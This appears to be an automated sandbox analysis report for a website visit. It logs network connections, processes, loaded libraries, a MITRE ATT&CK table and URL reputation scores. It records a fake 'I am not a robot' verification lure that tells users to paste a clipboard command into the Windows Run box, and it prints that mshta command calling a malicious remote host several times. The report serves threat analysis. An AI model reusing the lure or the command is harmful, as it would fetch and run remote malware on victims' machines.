Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.68:443 -> 192.168.2.7:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.54:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.36:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.66:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.70:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.77.48:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.77.48:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.214:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.130:443 -> 192.168.2.7:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 137.187.172.126:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.147.188:443 -> 192.168.2.7:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.7:49798 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir4996_1958693982

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir4996_1958693982

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal72.phis.win@32/145@58/24

Source: C:\Windows\SysWOW64\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\9ETUUQ2H.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_03

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.teubes.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6092 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6056 /prefetch:8
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585''
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585''
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6056 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6092 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585''	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 0.3

OCR Text: Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish, You will observe and agree: Perform the steps above to VERIFY finish verification,

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - Verification ID:863585''

Source: C:\Windows\SysWOW64\mshta.exe

Window / User API: threadDelayed 2060

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj

Source: C:\Windows\SysWOW64\mshta.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\mshta.exe mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585''

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	3 Browser Extensions	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	2 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://www.teubes.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/transition.min.js?ver=6.2.0	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7W	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/uploads/2020/07/Citrus-Oils-Teubes-Oils-South-Africa-300x67.jpg	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner-1024x228.jpg	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/...t	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/...c	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/hidden.module.css?sqz1q7m	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7C:	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7m	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7i	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/misc/components/ajax-progress.module.css?sqz1q7(	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7	0%	Avira URL Cloud	safe
https://wpbakery.com)	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7SY_2	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7D	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/uploads/2019/09/cropped-Neroli-180x180.png	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7fq	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7z	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7KYw2	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner-300x67.jpg	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7w	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q7G	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7g	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q73jQ2	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/js/dist/js_composer_front.min.js?ver=6.2.0	0%	Avira URL Cloud	safe
https://oalmsps.od.nih.gov/OAMP/DSAPS/ASRB/SAPhD/SitePages/Home.aspx	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/uploads/2019/09/cropped-Neroli-192x192.png	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgS	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q7C:	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/rss.xml	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7wY	0%	Avira URL Cloud	safe
https://maxcdn.b	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/themes/oamp_theme/css/style.css?sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7e.css?sqz1q7	0%	Avira URL Cloud	safe
https://check.xemyrai6.icu/	100%	Avira URL Cloud	malware
https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0	100%	Avira URL Cloud	malware
https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7.gC:	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/nih-document-generation-system/dgs-workform-information/attachment-files-sec	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg2	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7dP23	0%	Avira URL Cloud	safe
https://core.trac.wordpress.org/ticket/25888.	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg1q7Y	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7C:	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/js/dist/js_composer_front.min.js?ve	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q70	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7z1q7	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/themes/rubbersoul/js/html5.js	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/nowrap.module.css?sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7ule.css?sqz1q7z1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/ss	0%	Avira URL Cloud	safe
https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0EVEL=6PROCESSOR_REVISI	100%	Avira URL Cloud	malware
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min.css?ver=6.2.0	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgu	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgi	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7?	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7C:	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/themes/rubbersoul/css/font-awesome-4.7.0/css/font-awesome.min.css?	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7A	0%	Avira URL Cloud	safe
https://www.teubes.com/indigenous-exotic-oils-extracts/	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7-	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q76	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/themes/oamp_theme/css/style.css?sqz1q7C:	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7/gd3	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/transition.min.j	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-json/wp/v2/pages/2	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.3	0%	Avira URL Cloud	safe
https://www.teubes.com/wp-content/themes/rubbersoul/js/navigation.js?ver=20140711	0%	Avira URL Cloud	safe
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7icrosoft	0%	Avira URL Cloud	safe
